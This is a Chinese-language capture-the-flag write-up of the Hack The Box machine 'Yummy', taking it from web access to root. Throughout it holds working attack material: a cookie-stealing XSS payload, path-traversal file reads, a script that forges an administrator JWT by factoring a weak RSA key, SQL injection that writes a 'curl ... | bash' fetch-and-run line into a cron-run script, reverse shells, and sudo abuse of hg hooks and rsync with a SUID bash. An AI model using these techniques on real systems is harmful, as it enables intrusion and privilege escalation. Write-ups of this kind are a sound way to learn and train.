HTB之Yummy
linux(hard)
Caddy服务器+go语言
dashboard菜单可以注册并登录,
流量包分析一下,用了jwt,且不是空密码,而且没额外参数,排除越权什么的,其它接口查找无果
所以搜索 Caddy服务器
漏洞,无果
wfuzz找子域名,无果
扫下目录,
它是开源的,可以访问一下,看看能否得到些信息
https://github.com/caddyserver/caddy
https://caddyserver.com/docs/api
没找到什么
查看 Book A TABLE
,一个表单,尝试xss
<img src=x onerror=this.src="http://kali-ip/1.js?"+document.cookie>
虽然用户可以收到查看这些预约信息,但不会触发xss,或者sql注入
但是有意思的是, SAVE ICALENDER
功能,会下载文件,那么思路就有了
本地文件包含
GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
直接读私钥文件是不存在的,那只能读Caddy的一些配置文件
另外它这个Cookie里的.session
是一次性的,所以不能重发,可以写个脚本,自动爆破
import requests
url1 ='http://yummy.htb/register'
headers ={
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36'
}
json ={"email":"[email protected]","password":"123456"}
res1 = requests.post(url=url1, headers=headers, json=json)
page_text = res1.text
print(page_text)
url2='http://yummy.htb/book'
data={'name':'123','email':'[email protected]','phone':'1231231231','date':'2024-10-07','time':'11%3A16','people':'2','message':'123'}
res2 = requests.post(url=url2, headers=headers, data=data)
print(res2.status_code)
url3='http://yummy.htb/login'
session = requests.Session()
json ={"email":"[email protected]","password":"123456"}
res3 = session.post(url=url3, headers=headers, json=json)
cookies=res3.cookies
#cookies_str=""
#for i,j in cookies.items():
# cookies_str += f'{i}={j}';
#print(cookies_str)
print(cookies)
url4='http://yummy.htb/dashboard'
res4=session.get(url=url4,headers=headers)
#print(res4.text)
url5='http://yummy.htb/reminder/21'
res5 = session.get(url=url5, headers=headers,allow_redirects=False)
print(res5.cookies)
url6='http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd'
res6=session.get(url=url6,headers=headers)
print(res6.text)
这里就需要对url6的 /etc/passwd
进行替换了,自己收集了一些字典,爆破到了Caddy的配置文件
感觉没什么用
尝试计划任务/etc/crontab,还真有
访问第一个sh文件,这个脚本给了zip文件的位置,可以用代码with open...
下载(需要等一段时间才下载完毕)或者用bp下载
下载完后,可以看到app.py的内容,数据库配置+新接口
db_config = {
'host':'127.0.0.1',
'user':'chef',
'password':'3wDo?!',
'database':'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
...
@app.route('/admindashboard', methods=['GET', 'POST'])
defadmindashboard():
validation = validate_login()
if validation !="administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor()as cursor:
sql ="SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s','')
# added option to order the reservations
order_query = request.args.get('o','')
sql =f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql,('%'+ search_query +'%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
exceptExceptionas e:
flash(str(e),'error')
return render_template('admindashboard.html', appointments=appointments)
尝试用默认凭证登录无果,ssh无果
对于这个 admindashboard
接口 ,需要代码审计一下,很容易看到是个sql拼接,存在注入风险
但是,目前缺少admin-token,有jwt,不知道密钥不好伪造
zip压缩包给了 signature.py
,所以可以尝试伪造jwt了(下面是迷惑操作,可跳过)
——————————迷惑中————————
# -*- coding: utf-8 -*-
import jwt
from datetime import datetime, timedelta, timezone
fromCrypto.PublicKeyimport RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# 1. 生成 RSA 密钥对
q = sympy.randprime(2**19,2**20)
n = sympy.randprime(2**1023,2**1024)* q
e =65537
p = n // q
phi_n =(p -1)*(q -1)
d =pow(e,-1, phi_n)
key_data ={'n': n,'e': e,'d': d,'p': p,'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# 2. 构造 JWT 的 payload
payload ={
'email':'[email protected]',# 假设用户的 email
'role':'administrator',# 假设用户的角色
'iat':int(datetime.now(timezone.utc).timestamp()),# 签发时间 (Unix 时间戳)
'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),# 过期时间 (Unix 时间戳)
'jwk':{# JWK 字段
'kty':'RSA',
'n': key_data['n'],# RSA 模数 n
'e': key_data['e']# RSA 公钥指数 e
}
}
# 3. 使用 RSA 私钥签名 JWT
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')
# 打印生成的 JWT
print("JWT: {}".format(jwt_token))
curl -X GET http://yummy.htb/admindashboard?s=123&o=ASC -H "Cookie:X-AUTH-Token=eyJhbGciOiJSUzI1N..."
——————————迷惑完毕————————
后来分析了一下,密钥对都是在服务器生成好了的,我新生成了一对私钥,那它肯定不通过的
那能否尝试从原有效token,分解出一些东西?
我们伪造的难点在于,代码生成的是,两个大质数p,q
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
https://jwt.io/ 解析jwt
但是已知n,根据它的性质,它有且仅有唯一的一对p,q
所以,接下来就懂了嘛
需要将token和n替换掉
# -*- coding: utf-8 -*-
import jwt
from datetime import datetime, timedelta, timezone
fromCrypto.PublicKeyimport RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
#注册成功后的那个jwt复制过来
token="eyJhbGciOiJSUzI1NiI..."
#上面token解析的n也要重新复制到这里,其实也可以从token直接解析过来,但我懒了
n=917489....
factors = sympy.factorint(n)
for factor, exponent in factors.items():
print(f"质数: {factor}, 指数: {exponent}")
# 提取 p 和 q
p=0
q=0
iflen(factors)==2:
p, q = factors.keys()
print(f"p = {p}, q = {q}")
e =65537
phi_n =(p -1)*(q -1)
d =pow(e,-1, phi_n)
key_data ={'n': n,'e': e,'d': d,'p': p,'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# 2. 构造 JWT 的 payload,不起作用
'''payload = {
'email': '[email protected]', # 假设用户的 email
'role': 'administrator', # 假设用户的角色
'iat': int(datetime.now(timezone.utc).timestamp()), # 签发时间 (Unix 时间戳)
'exp': int((datetime.now(timezone.utc) + timedelta(hours=3650)).timestamp()), # 过期时间 (Unix 时间戳)
'jwk': { # JWK 字段
'kty': 'RSA',
'n': str(key_data['n']), # RSA 模数 n
'e': key_data['e'] # RSA 公钥指数 e
}
}'''
#尝试直接修改原payload,再加密
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"]="administrator"
data["exp"]=1742029913
# 3. 使用 RSA 私钥签名 JWT
jwt_token = jwt.encode(data, private_key, algorithm='RS256')
# 打印生成的 JWT
print("JWT: {}".format(jwt_token))
尝试利用cookie,验证有效性
curl -X GET http://yummy.htb/admindashboard?s=123&o=ASC' -H "Cookie:X-AUTH-Token=eyJhbGciOiJSUzI1NiI..."
为了可以长久化测试,将Cookie在浏览器上修改一下,直接测参数就可以了
好,报错注入,来吧
o=ASC' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
o=ASC and extractvalue(1,concat(0x7e,(select database()),0x7e))#
还是报错。。。嘶?
试试其它语句吧,SQL注入还有一个写入的方法呢,前提是要知道文件路径
还记得之前文件下载查看 /etc/crontab
的时候,有两个mysql用户的sh文件
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if["$response"!='active'];then
/usr/bin/echo "{"status": "The database is down", "time": "$timestamp"}">/data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!"|/usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1/data/scripts/fixer-v*2>/dev/null |/usr/bin/sort -V |/usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if[-f /data/scripts/dbstatus.json ];then
if grep -q "database is down"/data/scripts/dbstatus.json 2>/dev/null;then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up."|/usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1/data/scripts/fixer-v*2>/dev/null |/usr/bin/sort -V |/usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[-f dbstatus.json ]&&/usr/bin/rm -f dbstatus.json
这个总的逻辑就是说,它会检查 /data/scripts/dbstatus.json
是否存在,如果存在且不包含 database is down
,就去执行(/bin/bash)最新的 /data/scripts/fixer-v*
文件
有师傅分享出了做法,直接抄了
#写入非空json文件
http://yummy.htb/admindashboard?s=123&o=ASC%3B++select+"yuleiyunei%3B"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3B
#写入fixer前缀文件
o=ASC%3B++select+"curl+10.10.xx.xx/1.sh+|bash%3B"+INTO+OUTFILE++'/data/scripts/fixer-vyly'+%3B
kali这边建立python服务器+nc监听
等个二十几秒的样子就可以反弹到了,原来curl + ip也能直接访问到
mysql-shell
mysql -uchef -h localhost -p3wDo?!
但是呢,使用数据库时权限拒绝
查看/home目录,有 dev
和 qa
俩用户
mysql -uchef -h 127.0.0.1 -p3wDo?
好吧,我的错,但是里面的内容被改过了,意义不大,你敢信我在用户表里发现的邮箱是qq.com
吗?
最后来到 /data/scripts
,发现可以使用mv命令
因为app_backup.sh是计划任务,是一定会被执行的,所以将它替换成bash反弹
mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv 1.sh /data/scripts/app_backup.sh
kali监听新端口即可,拿到www-data
为什么会用mv这个命令,我能理解为是一种枚举性的尝试吧?
www-data
可以访问/var/www的子目录了,发现一个隐藏文件,进而得到qa凭证
.hg目录,给了密码,直接ssh了
qa
sudo -l得到
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
它以dev的身份运行,而且是pull命令
hg说是一个类似git的版本管理工具
嘶,没有搜到hg的关键用法,比如它的代码执行之类的
好吧,要多些关键句比如, hg Mercurial Distributed SCM
,光有个 hg
搜到的很少
https://www.selenic.com/mercurial/hgrc.5.html
来到 hooks 这一栏,可以执行命令或python函数
看不懂怎么办,问G老师,让它构造也可以
配置文件很简单,我是这样弄的,在/tmp目录下新建一个文件,内容为
[hooks]
pre-pull = /tmp/1.sh #需要chmod +x 1.sh一下,里面是bash反弹
但是有个问题,好像没有可以指定配置文件
的参数
hg config --help #发现 参数
hg config -l #直接编辑添加上面的内容就可以了
#记得编辑后保存文件,^X就是指ctrl+x
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
dev->root
sudo -l有东西
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude=.hg
/home/dev/app-production/* /opt/app/
以root身份无密执行
rsync说是一个文件同步工具
直接sudo的话,在qa的shell中要输入dev的密码,嘶
/usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
https://gtfobins.github.io/#rsync 这里有提权方法,但不符合无密命令,还是要密码
https://www.cnblogs.com/f-ck-need-u/p/7220009.html#auto_id_5
https://www.ruanyifeng.com/blog/2020/08/rsync.html
通过参考文档,这个命令应该是将/home目录的文件,同步到/opt/app/中去,除了/home的.hg目录
噢,格式问题,要这样
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
这样就没问题了,往/home添加了一些额外文件,也能成功复制到/opt/app
那么这样一个命令怎么执行东西呢?
又有师傅分享了方法
cp /bin/bash /home/dev/app*/bash
chmod u+s bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
这个貌似不是严格匹配sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
,而且还能和&&一起触发,不理解,但觉得牛的
总结
user-shell:
1.本地文件包含(得到敏感文件)->JWT敏感信息+加密文件泄露+jwt伪造->mysql-shell
2.bash反弹替换计划任务文件->www-data
3.敏感文件泄露凭证-> ssh到qa
root-shell:
1.qa,sudo -l -> dev
2.dev ,sudo -l -> root
对于陌生工具,需要查看官方文档和它的操作说明找到利用方法
对于dev提权,这个为什么提示1.sh权限拒绝呢,嘶
cd /home/dev/app*
echo "/bin/bash -p" >> 1.sh
chmod u+s 1.sh
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/1.sh
参考
wp:来自师傅们的活跃讨论
解析jwt: https://jwt.io/
hg使用手册:https://www.selenic.com/mercurial/hgrc.5.html
rsync使用手册:https://www.cnblogs.com/f-ck-need-u/p/7220009.html#auto_id_5
https://www.ruanyifeng.com/blog/2020/08/rsync.html
原文始发于微信公众号(羽泪云小栈):HTB之Yummy
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论